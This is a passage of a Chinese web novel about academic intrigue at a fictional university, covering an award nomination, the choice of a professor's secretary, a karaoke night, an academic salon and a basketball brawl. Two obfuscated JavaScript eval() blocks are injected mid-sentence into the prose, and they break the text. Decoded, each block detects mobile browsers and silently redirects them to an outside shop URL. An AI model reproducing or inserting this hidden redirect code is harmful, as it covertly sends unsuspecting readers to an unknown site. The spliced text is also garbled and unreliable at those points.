在学校即将敲定上报人选的时候,许继武将几封检举莫笑非与女学生关系暧昧的信递到了吴若甫的手上。吴若甫扫过一眼哑然失笑,顺手从抽屉里取出几封信来返递给许继武:“我一直压着没想打扰书记。嗨,庙小妖风大呀,这是几封举报老梅公款吃喝的信,而且还附了证据的。” 看见里面竟然有一次宴请与自己有关,刚刚做了心脏搭桥的许继武一下子有些泄气。吴若甫趁热打铁:“这次推荐说到底就是个学术活动。叫我看呐,我们这些做领导的不如都超脱些,将推荐的权利全部交给评委们好了。”吴若甫底气十足。这次9名评委中,5人是他亲自圈定的人物。 校长的话合情合理,许继武转弯很快,再次祭出惯用的和稀泥艺术:“这件事也是你校长的职责,就请吴校长多费心吧。” 当秦冰纶从周濂那里得到梅大镛公款吃喝的证据后,迅速密授林书锦从梅大镛办公室门缝里塞进一封警告信。大意是如果梅大镛不知止,就要将他公款吃喝、挪用科研经费的“好事”周告天下。想一年后平安落地退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904210|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休的梅大镛在老伴的劝说下,干脆忍痛退出了“荆楚大先生”的角逐。 当钟德君将梅大镛退出的消息告诉顾明远时,正在按秦冰纶指示全力为莫笑非准备申报材料的他一下子松了口气,半开玩笑地责怪道:“你早说呀。害得我花了两个晚上的工夫。” 钟德君却无病呻吟般地发起了感叹:“老顾你不懂啊。通过这次事件,我发现象牙塔里的水不是我等能够看出深浅的呀。老梅如此聪明的人,竟然主动退出,看见你们历史学院还是厉害啊。” 顾明远觉得钟德君小题大做:“你又开始一篙子打一船人了。这是比的实力,怎么又扯上我们历史学院了?你们这些人呀,眼珠是黑的,看一切没有白的了。我怎么觉得学校到处都是春光明媚、风和日丽的呀。” 钟德君丢下一句“你还嫩着呢”,说是孟超有事找他,便匆匆离开。 莫笑非梦想成真,成了全省首届五名“荆楚大先生”之一。站在面积比书记校长大上两倍的办公室里,看着墙上的超大电视、立地空调、簇新的冰箱以及高及屋顶的书架,莫笑非兴奋得几乎不能自抑。从椅子上站起来,又立刻坐下去,又站起来在里间和外间来回转圈,忽然拳头在空中一阵挥舞,压低声音嘶吼了一句:“老子成功了”。脑海里闪回着梅大镛愁眉苦脸、唉声叹气的样子,心里骂道:“跟我斗,你这条老狗还不够格。” 自我意淫满足后,他泡上一杯上好的明前茶,坐在带有油漆残味的藤椅上,开始思考想学校提出尽快配备学术秘书的事情。 学术秘书是文件里明文规定的标配。其实,莫笑非脑子里早有理想人选,那便是江小北。他对江小北早就知根知底,忠诚温顺、做事麻利。在莫笑非看来,江小北简直就是学术秘书的不二人选。 江小北早就从莫笑非口中知道学术秘书的消息。因为本科学历,加上教师资格证还没到手,江小北总觉得自己比别人要矮半个头,因此更是坚定紧抱莫笑非大腿的决心。经过一番分析,她觉得眼下最大的对手上顾明远和林书锦。顾明远的优势是学问功底深厚,林书锦的砝码是秦冰纶的支持。思来想去,江小北觉得只有捷径才能胜出二人。这条捷径自然是进一步博得莫笑非的好感和欢心。 有一个人却是百分百反对江小北成为莫笑非的学术秘书。那便是已经和江小北确定了恋爱关系的肖志阳。自从在顾明远那里碰壁后,江小北果断地斩断了心中对顾明远的最后一丝情愫,转而接受了肖志阳抛来的橄榄枝。肖志阳没少从钟德君、卞同峰那帮人嘴里听说江小北和莫笑非的一些花边消息。当江小北透露准备争取学术秘书席位时,向来磨叽的肖志阳表现出了罕见的干脆:反对。气得江小北近视镜片里的眼珠子一瞪,直接蹦出一句武汉话来:“搞么斯撒?你算老几啊?再嚼(啰嗦)老子扇你两哈!” 吓得肖志阳噤了声。噤声并不意味着屈服。转而悄没声息地找到了江小北的“竞争对手”顾明远和林书锦。 顾明远心里自然有意获得这一席位。一个很重要的原因就是这个职位能够借助莫笑非的人脉多结交学术界大咖来开阔自己的视野。顾明远担心肖志阳上江小北派来的“探子”,故意笑着说道:“你们家那位应该是最合适的吧?”没想到肖志阳骂了句“合适个屁”,说出了一个奇怪的理由:“你是个男的当然最合适。”顾明远立刻明白了肖志阳的心思,但心中并无底气,也只能打着哈哈敷衍他。 从顾明远那里出来,肖志阳旋即又找到了林书锦。林书锦倒是干脆,还给肖志阳支招如何阻止女友成为莫笑非的学术秘书。 对于学术秘书的事情,秦冰纶有自己的考虑。昨天莫笑非和她谈起人选时,秦冰纶一句“江小北身上那么多硬伤”“万一您家刘老师知道了”的话,顿时让莫笑非气短了不少。 在秦冰纶心中,顾明远应该是最合适的人选。但是,架不住最近林书锦董事长父亲三番五次“栽培犬子”的请求,她有些犯了难。正在犹豫间,周濂在电话里转达了校长吴若甫的意见,这下秦冰纶的犹豫变得一文不值。既然校长钦点了顾明远,那还能说些什么呢。 当秦冰纶来到“荆楚大先生”阔大的办公室通报这一决定时,莫笑非气得从椅子上弹了起来:“这不是乱弹琴嘛。” 秦冰纶是有备而来,她不慌不忙让莫笑非坐下,笑着说道:“莫老您可是在学院表过服从安排的态哦。” 莫笑非只好就范。 秦冰纶刚一离开“荆楚大先生”办公室,江小北的身影就飘了进来。当她满腹委屈娇柔地用武汉话叫了一声“莫老”时,莫笑非浑身酥得都站不起身来。 “刚才秦冰纶来过了吧?”江小北目光忽然有些锐利起来。 莫笑非无奈点了点头,叹了口气说道:“小北,有些事你要理解我呀。”。 江小北的眼眶立刻红了。 莫笑非赶紧起身握住江小北的胳膊,却被一把甩开。 莫笑非见识过江小北身上的野性和泼辣,生怕她闹出什么动静来,赶紧一个劲柔声细语好言相劝:“小北,风物长宜放眼量嘛。我既然让你留校,一定会为你负责的嘛。做不了学术秘书,你照样能够在我的工作室里畅行无阻的呀。” 莫笑非的安抚和表态让她稍稍冷静了些:是啊,木已成舟,强求无益。更何况今后还得傍着莫笑非这棵大树啊。 为了将戏演足,江小北眼中故意噙着泪花,满腹委屈地撒了个娇声:“莫老,您可得说话算话咧,反正我江小北是指着您的。” 莫笑非兴奋得赶紧站起身来,颠着步子将办公室的门从里面锁好。 意外的收获让顾明远心里暗自高兴。面对钟德君妒忌的祝贺,他故作淡然地说道:“须知福兮祸所伏的道理哦。”气得钟德君骂了一句“你狗日的别得了便宜卖乖拽词了”,便鼓噪着顾明远请客。 几杯酒的微醺,钟德君嘴中满是羡慕:“我发现你狗日的真的是命好啊。领导主持的会议出风头的是你,下派锻炼去人事享清闲的是你,现在人人争抢的学术秘书这个馅饼砸在头上的还是你。你说你们家的祖坟是不是要冒青烟了啊?” 顾明远嘴上不应,心里其实也有些暗自得意。经钟德君这样一归纳,他觉得这一年多来似乎确实是运气挺好的。窗外樱花纷飞,春光烂漫,恰似顾明远此刻的心境。他踱步至窗前,只觉得满树樱花都在为他绽放,感觉自己的前程一片光明灿烂。 10. 秘书难做 傍晚五点,楚江大学历史学院大楼渐渐安静下来。夕阳透过西窗,在水磨石地板上拉出长长的光影。顾明远坐在教研室里埋头批改一沓作业,钢笔尖在纸上划出沙沙的声响。 “哟,顾老师真是敬业啊,都快下班了还这么认真。”熟悉的武汉普通话带着几分娇嗔从门口飘来。顾明远抬头,看见江小北斜倚在门框上,嘴角噙着一丝说不清道不明的笑意。 因为没有被觊觎的困扰,顾明远对江小北的态度反而放松了不少,他推了推鼻梁上的眼镜淡淡地问道:“找我有事?” 江小北有意将高跟鞋清脆地敲击着地面,目光有些挑衅:“没事就不能来看看我们未来的大学者呀?”语气里的酸味几乎能溢出来:“来看看你这个莫老的学术秘书,不行呀?” 顾明远不喜欢江小北这种话中有话的语气,“哼”了一声:“我明天有课呢,你看着一堆的作业”,意思很明显:有事说话,没事走人。低下头继续批改作业,故意不再看江小北。 江小北有些无趣,轻咳一声,只好道明来意:“莫老晚上有个小活动,特意让我来通知顾老师参加。”她故意把“特意”二字咬得很重。 顾明远一愣:“什么活动?” “就是几个朋友聚聚,吃个饭,唱唱歌。”江小北轻描淡写地说,临走前又回头补了一句:“你是秘书,晚上看你的哦。” 望着江小北离去的背影,顾明远心里七上八下。他不知道这到底是莫笑非本人的意思,还是江小北的故意安排?再说自己对莫笑非的兴趣爱好一无所知,晚上到底应该怎么办呢? 批改完作业,正要锁门,沈菊英从斜对面的办公室里走了出来。 “刚才江小北去你那里了吧?”沈菊英看似随意地问。 顾明远现在对沈菊英有种莫名的亲近感,老实点了点头。 “这丫头可不是个善茬。她对你做老莫的秘书意见大得很,你可当心点。”沈菊英压低声音,继续走了几步停下来转身问道:“她找你干嘛?” 顾明远也只好如实交代。 “这样呀,”沈菊英若有所思,“老莫喜欢被人哄着抬着,这应该是有意考察你的。到时候灵光点,别象个书呆子似的。”说完,她笑着摆了摆手,一阵风似地下楼去了。 顾明远不敢耽搁。回到宿舍,找出那件较为体面的蓝色夹克,又特意擦了擦皮鞋,看着镜中自己,深吸了一口气给自己打气:“顾明远,你能行的!” 狠狠心打了个的士,顾明远准时赶到江小北告诉的大东门“帝都歌舞厅”。站在霓虹闪烁的门口,他捏了捏口袋里仅有的三百多元钱,心里多少有些忐忑。 走进包厢,震耳的音乐声扑面而来。五彩灯光旋转闪烁,江小北早到了,让他没想到的是,今天竟然还有林书锦,两个学生模样的女孩围着莫笑非张罗着点歌。莫笑非靠在真皮沙发上,一副怡然自得的表情。 顾明远急忙上前拱手:“莫教授,晚上好。” 莫笑非的注意力似乎集中和女孩一起点歌,对顾明远的问候仅是微微抬头,淡然回应了一句“来了”。 江小北岂会轻易放过他,瞟了林书锦一眼,嘴里故意发出‘啧啧’的声响:“莫老,瞧瞧顾秘书的派头,简直跟大明星似的,压轴登场呀。” 林书锦虽然平时和顾明远走动频繁,这时却有意附和起江小北来:“明远现在可不是一般人,来晚点也正常的。” 顾明远对两人的一唱一和有点生气,但不敢当着莫笑非的面说些什么。好在房间里灯光闪烁、音乐低沉,没人注意到他的表情有些异样。 莫笑非正被两个女孩簇拥着点歌,对江、林的话并未放在心上。歌曲点好,在两位女孩的粗用下,莫笑非“哼哼咔咔”清了几下嗓子,开始了和高个女孩《敖包相会》的对唱。 顾明远虽然是个音盲,但莫笑非的气息和音调的转换,让他觉得关于“专业水准”的传闻的确名不虚传。一曲终了,江小北热烈鼓掌高声叫好“莫老都赶上蒋大为了啊”,林书锦双手恭敬地托起水果拼盘敬奉在莫笑非的面前,五官精致的矮个女孩亲昵地将事先准备好的花束恭敬地献给莫笑非。 顾明远一时间似乎找不到表达赞美的方式,忽然觉得自己有些多余。 江小北缠着莫笑非唱了两首歌曲后,莫笑非有些疲惫,随口说了句“小顾你也来首歌吧。” 莫笑非的提议恰如江小北所愿。她知道顾明远是个五音不全的人,正好借机让他在众人面前出出丑。她给矮个女孩使了个眼色,特意为顾明远挑选了难度颇高的《骏马奔腾保边疆》。 话筒在顾明远手中如烫手的山芋,几次转交林书锦失败后,顾明远只好硬着头皮站了起来。果不其然,才唱了两句,莫笑非就皱起了眉头,高个女孩甚至捂起了耳朵。 “停停停!”江小北夸张地摆手,“顾老师,您这是骏马奔腾还是老牛拉车啊,怎么像是锯木头似的?” 包厢里顿时爆出一阵笑声。顾明远耳根通红,指尖掐进掌心,明知江小北的话里淬着对自己成为莫先生学术秘书的酸意,也不好带着莫笑非的面发作,只好用浅淡的小来掩饰自己的窘迫和不满:“我这五音不全的,今后得多向莫教授学学。” 为了在莫笑非面前表现自己,林书锦从顾明远手里拿过话筒,选了刚刚练会的刘德华的《中国人》,刚一开口,就赢得了莫笑非的点头赞许,高个女孩趁机邀请莫笑非跳舞,矮个女孩也大方地向顾明远伸出手来。顾明远不想被江小北嗤笑,硬着头皮起身“迎战”。借着跳舞的机会,顾明远得知两个女孩都是莫笑非新招的研究生,心里不免有些奇怪的感觉。 两个小时后,莫笑非终于玩得尽兴。林书锦准备买单博得莫笑非的好感,却被江小北一把拉住:“有顾秘书在,这哪轮到你呀。” 顾明远捏着薄薄的钱夹走向吧台,指尖渗出冷汗,生怕待会儿掏出的钞票不够,在莫笑非面前跌了颜面。当服务生报出“280”这个数字时,顾明远长舒了一口气。随着一行人走进隔壁的酒楼,他的心有提到了嗓子眼上:口袋里只剩下80块钱了。趁着大家给莫笑非敬酒的工夫,顾明远也顾不了许多,飞奔到前台给沈菊英家打去了电话。 听完顾明远焦急的诉说,沈菊英的大嗓门隔着话筒传了过来:“多大点事呀,把你小伙子急成这样。你早点说嘛。不过也没关系,这个酒楼是我们院定点接待的地方,你给前台报上我的名字,最后结账时签单就可以了。另外,你说的卡拉OK的费用,记着开票回来照我报销” 顾明远心中狂喜,嘴上故意说道:“沈主任,这不好吧?” “唉呀,你磨叽什么呢。就照大姐说的去做吧。不过,我还是提醒你,可别被那个小江耍了。” 挂断电话,顾明远打了个寒颤,但很快被沈菊英的雪中送炭带来的温暖驱散了寒意,心里真的有点遇到了“大姐”的感觉。 “沈菊英”三个字果然好用。顾明远刚说出口,服务员就脸上绽出花来:“沈主任是我们这里的老客户,您尽管消费吧。” 顾明远接过笔签单时,手指竟有些轻颤,既有不必自掏腰包的轻松和喜悦,又有笔尖落下时的茫然了:原来沈菊英的名字能抵过真金白银啊?他捏着账单一角,脸上浮起一团困惑的红晕,这世界竟有自己完全看不懂的规则。莫名地想起经常在外潇洒的钟德君,忽然觉得自己实在有些稚嫩和苍白。 第二天,秦冰纶从林书锦那儿听说了江小北捉弄顾明远的事情。毫不客气地批评江小北过后,她忍不住将顾明远也喊到了办公室,当面让沈菊英处理昨天的费用,杏眼的星光在顾明远的身上来回地荡漾。 沈菊英故意语气有些暧昧地说道:“小顾,秦院长也就是对你这么好。今后知道该怎么做了吧?” 看在没有让自己掏出快两个月工资的份上,顾明远深深给秦冰纶鞠了一躬,红着脸说道:“秦院长放心,我今后一定加倍努力工作。” 秦冰纶见惯了太多形形色色的老油条式男人,那种熟练得像是隔夜油汤上浮的谄媚简直就是流水线上生产出来的伪劣产品,实在让人反胃。顾明远则不同,他身上的未经世故的书生气和青涩感加上若隐若现老公劳力的影子,哪怕只是一句公事公办的表态,此刻也如春风杨柳般地拨动秦冰纶的心弦。 秦冰纶和沈菊英交换了一下眼色。沈菊英故意夸张地说道:“小顾,不是大姐说你,你说这些话太生分了嘛。以后有事没事多到秦院长这里来走动走动,懂得吧?” 顾明远不知沈菊英所言何意,目光有些迷茫。秦冰纶瞥了沈菊英一眼:“你忙去吧,我有事和顾老师说。” 沈菊英会意,临出门时,还特意将房门带上。 秦冰纶将垂在眉间的一绺秀发往耳根后撩了撩说道:“你知道有很多人想做老莫的秘书吧?” 顾明远点了点头。 “那为什么你有机会胜出呢?” 这话问得有些突兀,顾明远当然不敢流露出对自己学术能力的自负,几乎上本能地说道:“是领导们关心的吧?” 顾不得领导的身份,秦冰纶声音温软得象是浸了蜜的月光:“那我领导们为什么独独要关心你呢?” 这样咄咄逼人的问话加上灼灼闪烁的目光,一下子让顾明远紧张得耳尖发红,只好不停地推着鼻梁上的眼镜,举动可笑得如同一只被踩了尾巴的猴子。 看见顾明远鼻尖上沁触动汗珠,秦冰纶怜惜得恨不能拿起桌子上的手巾亲自为他揩拭。但理智却阻止了她。根据周濂的交代,她得启发启发这个才华横溢却又不谙世故的年轻人:“以后别只顾着埋头搞业务,有时也要抬头看看路才好。莫教授在楚江大学的地位举足轻重,连许书记和吴校长都对他敬重三分。我可是费尽九牛二虎之力才为你争取到这个机会。他这人吧,性格有些古怪,脾气也不太好,今后呀,你得学会察言观色,尽量顺着他的要求去做才行。” 秦冰纶的话软硬兼备,让顾明远得到动力的同时也感受到了压力。 刚要表态,秦冰纶从桌面上抄起一张红头文件递给他:“马上要举办第二场‘莫笑非学术沙龙’,正好,锻炼锻炼你。一会你可以去找沈主任对接一下,最好不要出了岔子。” 接到任务的顾明远赶紧来到院办公室。从沈菊英的嘴中,顾明远了解到:历史学院每个季度都会邀请一些省内外的专家学者,以莫笑非的名义举办一次学术沙龙。这是一个“双赢”的学术活动。既扩大了莫笑非的名声,也彰显了历史学院的实力。莫笑非最为得意的是,迄今为止,楚江大学能以个人名义举办“学术沙龙”的唯其一人。前几年梅大镛也曾东施效颦做过两次,因为捧场者寡最后改成了财经学院的内部教研活动。 了解情况后,顾明远的压力陡然增大。沈菊英笑着拍了拍他的肩膀:“这是你难得出头露面的机会,有什么好紧张的呀?经费学院出、人员老莫定,到时候我会派黄阿娇她们协助你,你就偷着乐吧。” 这样一说,顾明远的心定了下来。根据莫笑非的交代,他最后主要负责俩项任务:拿着名单联系专家学者;帮助莫笑非起草主旨演讲的稿子。 在轮着一圈电话敲定出席的专家学者后,顾明远全身心准备莫笑非的讲稿。莫笑非是研究魏晋南北朝历史的专家,专门为本次沙龙定了“魏晋时期的名士集团”这个主题。顾明远虽然专攻的是宋代文化史,但对魏晋时期的名士现象很有兴趣和积累,写起稿子来并不费力,只用了两个晚上就提前将稿子提交给莫笑非。 扫了一遍稿子,莫笑非心里多少还是受到了些震撼:这个年轻人果真有几把刷子。莫笑非是公认的大腕,内心早就给自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904211|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己立了规矩:任何时候任何场合都不会称赞别人的学问工夫。即便面对自己的导师林城外亦如此,更何况才出道的小年轻呢。为了压压顾明远的锐气,莫笑非随意将稿子撇在桌面上,只轻描淡写地说了“深度不够”“引申不足”这些笼统意见,就让顾明远退了出去。 沙龙举办的头一天,副校长周濂突然给顾明远打来电话,提醒他亲自送一份请柬给吴若甫校长。莫笑非表示赞同,亲自给吴若甫打了个电话才让顾明远前去呈送请柬。 让顾明远前来递送请柬其实是吴若甫自己的想法,他是想借机近距离再了解了解这个年轻人。接过顾明远递过来的烫金请柬,皱着眉笑了笑:“这莫教授的字得好好练练啊,和他的名头不相配嘛。” 顾明远知道吴若甫指的是莫笑非亲笔签下的姓名。说实话,第一眼看见莫笑非的签名时,顾明远差点笑出声来,觉得他的写字水平未必比小学生强了多少。 顾明远当然不敢附和校长对莫笑非的讥诮。他怯怯地问道:“吴校长,您到时能参加么?” 吴若甫似乎兴致很好,用手点了点沙发:“小顾,坐下说话吧。” 墙角处的檀木座钟正敲着下午三点的钟声,吴若甫从老花镜上缘抬起眼睛,瞧着顾明远规规矩矩、毕恭毕敬坐在沙发的边缘。这笨拙的模样让吴若甫想起三十年前自己第一次面对学校领导的光景。 吴若甫有意打消顾明远的紧张,起身状似无意地推开半扇窗,亲自给顾明远递过来一瓶矿泉水,脸上挂着和煦的笑容说道:“听说顾老师的课很受学生欢迎吧?” 顾明远原本以为校长会问些沙龙的准备工作,不免愣了一下才想起接话:“一般吧,无非是课堂互动比较多。” 顾明远的话里多少透露了些得意。 窗外正飘来桂花香,悬铃木叶子沙沙作响。吴若甫眯起眼睛看着眼前这个年轻人,对他身上流露出的几分未褪的书生意气比较满意。他的脸上浮荡着温暖的笑:“怎么样?你们年轻人现在在筒子楼住得习惯吧?小顾不知道吧,我在筒子楼住了三年呢。” 顾明远有些意外。原本想实话实说的他临时改变了想法:“破巢能留凤,关键在梁柱。如果能够不断地完善里面的设施设备,其实问题倒也不大。” 吴若甫眼底闪过光亮,正要继续试探,冯伟走了进来,说是许书记有事找他商量。吴若甫只好站起身来,看着顾明远爽朗地说道:“回去告诉你们莫教授,这次我一定前去参加。” 冯伟悄悄在背后给顾明远竖起了大拇指。 沙龙就在莫笑非的“荆楚大先生工作室”外面的大房间里举行。房间里摆放着一张能围坐20人的原木大桌,上面的松木年轮清晰可见,三面墙的书架上摆满了书籍,书香在房间里弥漫充盈。 当秦冰纶陪同吴若甫走进房间坐定后,沙龙活动准时开始。 莫笑非今天穿着浅灰色的长袍大褂,脚踩圆口布鞋,手里拿着那把扇子,这是他每次出场的标配。 在主讲的位子上坐定后,两位穿红色旗袍的研究生一左一右将莫笑非专用的紫砂壶和热毛巾卷放在茶几上。 莫笑非向在座宾客微微颔首,随即开启了今日的演讲。 莫笑非有个习惯,在正式开讲前总要来点铺垫,就像戏曲开场前的锣鼓一样,得热闹热闹。今天的铺垫是他上个月去日本讲学的经历。在大加赞赏了日方的隆重接待后,他还不时来几句“扣你七娃(你好)”“撒有拉拉(再见)”“斯米马散(对不起)”来活跃气氛。 冗长的铺垫后,莫笑非开始进入了“士人风度”的主题。 似乎为了展示自己的学识。他抛开顾明远准备的讲稿,对国内几位知名的同行研究魏晋学者的成果进行了言辞犀利的点评,这让顾明远大感意外,因为被莫笑非嘲讽的其中一位学者曾经给顾明远留下了极其深刻的印象。 臧否完毕后,莫笑非这才拿起讲稿,几乎一字不落地照本宣读着顾明远执笔的讲稿。 顾明远心中疑惑前来:他不是嘲笑“深度不够”“引申不足”的么? 30分钟的讲演完毕后,接下来是来宾围绕演讲内容进行质证和讨论的环节,这往往也是历来沙龙最吸引人的部分。 或许是稿子非出己手,莫笑非应对提问时出了不少状况。尤其当一位来自师范大学的青年教师穷追不舍时,莫笑非甚至犯下了几个低级错误,比如将“玄之又玄,众妙之门”的出处从《老子》误说成《周易》,又将“玄者,物之极也”的观点归功于嵇康而非王弼。更尴尬的是,这位年轻教师非常犀利,不仅指出了莫笑非的第二个错误,还详细阐述了王弼的观点。莫笑非虽竭力维持着笑容,但那笑容却如同被冻结一般,表情显得有些僵硬。 看到自己学校的“大腕”被外校的年轻人所压制以及坐席间不时出现的轻声讥笑,秘书顾明远心里涌起了“还击”的冲动。他也不知从哪里来的勇气,从记录席上径自站了起来,引经据典反驳了青年教师的几个论点。 一阵掌声响过。莫笑非镜片后的目光冷得像结了一层薄冰。秦冰纶低头和吴若甫耳语了几句,吴若甫高兴得频频点头。 三个小时的沙龙结束后,送走来宾后,顾明远一路不着调地低唱着刚刚学会的流行歌曲《囚鸟》回到了“大先生工作室”。 莫笑非正反剪着手在人去屋空的房间里踱步。 顾明远刚说出“祝贺”二字,莫笑非突然停下脚步,干枯的脸阴沉得几乎要漫出水:“有什么好祝贺的?你今天倒是敢于表现的。” 顾明远心头猛地一颤,赶紧陪着小心:“我主要是看那个老师太嚣张了。” 莫笑非说了句“以后要看场合嘛”,拂了拂袖子自顾着走进了里间。 顾明远呆呆地站立在松木着旁,心中莫名地觉得生出一股寒意。 11. 进退之间 因为莫笑非的不满意,顾明远的心中仿佛被一块石头压着难以释怀。唯一的排遣方式便是走进篮球场大杀一场,似乎只有不停的跑动、跳跃和投篮时带来的疲惫才能暂时忘记心中的烦闷。 明天是财经学院、历史学院篮球队学期比赛的时间。彷佛牛津、剑桥两所名校的赛艇比赛一样,两院三打两胜的篮球比赛历来都是是学校的“看点”,人们对每次比赛中的火花四溅的兴趣要远远大于两院业务上的争锋。 这是秦冰纶正式主持学院工作后的第一次比赛。好胜心极强的秦冰纶特别带着副队长顾明远一行提前来到场地寻找感觉。 秦冰纶特意穿了一身鲜红的运动装,头发利落地扎成马尾,显得年轻而干练。 林书锦讨好地拿起一个篮球递给秦冰纶,没想到秦冰纶手起球落,竟然投了一个空心两分,顾明远惊讶地感叹:“秦院长也会打球啊?” “怎么,看不起女同志?”秦冰纶显然对顾明远的惊讶有些不满,又从林书锦手中要过篮球,换了一个位子,这次直接投了一个打板三分,转过头来,杏眼里满是自得的波纹:“我大学时可也是主力前锋的。” 听说秦冰纶打的也是自己的边锋角色,顾明远心里对秦冰纶有点刮目相看,有意在秦冰纶面前展示了自己三步上篮的本事。间歇的时候,顾明远主动提起了那天学术沙龙的事情想试试院长的看法:“是我太冒失了,不应该在那样重要的场合贸然发言。” 秦冰纶将手中的篮球来回颠了几下后停了下来:“看来你还是个多愁善感的人呢。都过去了这些天,你还在纠结呐。其实你那天的表现很好呀,差不多是救了莫教授的场,吴校长对你的印象可深刻了,专门跟我说你是‘可造之材’要好好培养呢。”说到这里,她将球递给林书锦后往底线靠了靠说道:“学术本来就讲究开放自由。不过呢,以莫教授的那份自负劲儿,你以后再说话的方式方法上注意点就是了。给他留足面子嘛。” 秦冰纶的语重心长让顾明远心中涌起一阵感激。他劲头十足,按照秦冰纶的要求,带着球队的伙伴们认真操练起来。 与此同时,在校长吴若甫家中,一场关于顾明远的谈话正在夫妻二人间进行。 “明天历史学院和财经学院的篮球赛,你有时间可以和雅娟一起去看看。”已经有了明确态度的吴若甫暗示着老伴万素琴。 “你都有看法了,让丹凤出面去说合就行了呗。再说,我又不懂篮球的。” “嗨,要说你不懂吧。这和酒风看酒品是一个道理。年轻人在篮球场上的各种表现都是真实的,也可以从侧面看出一个人的人品呢。”吴若甫一副老谋深算的样子。 “有那么邪乎吗?你不是一向对自己的眼光很有信心的吗?你对这个小顾都考察了一年多,还会跑偏?” “男人有男人的眼光,女人有女人的见解。你不是很在意雅娟的个人大事吗?这最后关头了,你出面亲自把把关。” 这样一说,万素琴心里舒坦,点头答应了下来。 钟德君从吴雅洁那里得知校长夫人即将亲临赛场的消息后,他兴奋得一宿没有睡好,脑海里想的全是明天如何展现自己的十八般武艺。 第二天一大早,他特意调了课程,去广埠屯的专卖店买了全新的球衣球鞋,回来时又去了门口理发店剪了个精神的板寸头。 顾明远知道钟德君的所作所为的用意。毕竟是对手,开赛前的热身中,特意走到钟德君面前拿话激他:“今时非同往日。可别演砸喽。”一句话果然让钟德君心里着起慌来。 比赛现场的水泥看台上早就坐满了人。人们注意到,校长夫人万素琴竟然罕见地和女儿一起坐在看台上观战。 钟德君的目光频频望向看台。当看到万素琴似乎在对自己微笑点头时,他紧张得手心直冒汗,脚步有些发飘。 比赛一开始,钟德君明显不在状态,两次传球出界,一次上篮被切,气得队长孟超连叫两次暂停,当着众人的面把他训斥了一通,威胁再这样梦游下去,把他按回到替补席上去。 历史学院这边的林书锦似乎看出了端倪,暂停的时候赶紧将队友招呼到一起:“他们的主力后卫钟德君今天明显不在状态”,说到这里,拉过刚从体院招来的辅导员小侯说道:“一会上场你只管贴身盯防钟德君,拼命激怒他,切断他和那个大个中锋的传球线路,今天这场球就有希望了。”一旁 的两队秦冰纶似乎非常赞同林书锦的方案。 顾明远忍不住替钟德君捏了一把汗。 果然,再次上场后,小侯开始如影随形地盯住钟德君,不时用些小动作激怒他。终于,在一次被小侯故意伸腿绊倒后,钟德君彻底失控,翻起身来直接将林书锦踹倒在地。 篮球场瞬间成了风暴中心。两队的拉拉队长卓娅和沈菊英立刻大声吆喝本方人马冲向场内向对方出击。财经学院的卞同峰正在为一直被摁在板凳上生气,抄起一个矿泉水瓶,毫不留情地向林书锦头上掷去,瓶身在空中划出一道凌厉的弧线,“咣当”一声掉落在地上。江小北趁乱跑进场中,在卞同峰的脖子上留下了三道触目惊心的血痕……。局势一下子如同火药桶爆燃,场边观众席像炸开的马蜂窝,哄叫声响成一片。 看台上的万素琴皱紧了眉头,吴雅娟却笑了起来:“妈,你看见没有,就顾明远最冷静,他不停给两边拉架呢。” 万素琴这才注意到顾明远和矮个子的孟超挡在两拨人中间,试图平息人们的怒气。 直到分管保卫的副校长江川带着保卫处的人马赶到,正常文化人间的“武斗”最终才得以平息。 事后,秦冰纶招致了周濂副校长电话里的痛批:“秦冰纶同志,你目前还只是牵头副院长。为了区区一场篮球赛,至于闹得这样?” 秦冰纶依然有些意气难平:“周校长,您不在现场,他们财经学院的梅大镛、卓娅实在太不像话了嘛”,话未落地,周濂罕见地凌厉地打断:“你们就好到哪里了?听说沈菊英恨不得要薅掉了人家钟德君的头发。冰纶呀,你也知道只提到梅大镛、卓娅。我问你,孟超在现场表现怎么样?有人说他冷静得很哩,两边劝架,这才是聪明人嘛。” 秦冰纶的委屈立刻消了大半。是啊,楚江大学人人现在都将自己和孟超作为“希望之星”放在一起比较。真是没有想到,孟超平时总是喜欢煽风点火、冲锋陷阵的,这次竟然主动当起了和事佬,可见这家伙心里确实有自己的谋略啊。 明白了周濂副校长的用心和用情,秦冰纶主动在电话里道起歉来。周濂叹了口气说道:“算了,算了。你也不必给我道歉。我估计这个时候呀,梅大镛已经在书记那里告你们历史学院的状呢。你还是主动去一趟书记那里,免得他信息不对称真的有了误解。” 放下电话,秦冰纶连写字都来不及换,一路小跑赶去行政楼。果然不出周濂所料,刚走到三楼楼梯口,就看见梅大镛、孟超从许继武办公室出来。秦冰纶赶紧蛰进冯伟的办公室,等梅、孟脚步声远去后,便急着走进了许继武的办公室。 许继武面色平静如水,看不出半点的异样和波澜。按照周濂的吩咐,秦冰纶半个字都不提财经学院和梅大镛的不是,而是一脸诚恳地作起了自我批评,声音里掺着恰到好处的哽咽和斟酌。 许继武心里拿这件事当成两家小孩争风吃醋似的无理取闹,根本没放在心上,现在秦冰纶也有了态度,便笑呵呵地挤出了一贯的和稀泥招式,这让许继武的形象在秦冰纶的脑海中变得高大了些。 吴若甫已经得知篮球场上的事情经过。听见万素琴母女二人兴高采烈地议论两个学院球场上的“全武行”表现,他有些不屑,用眼色将老伴招进了书房。 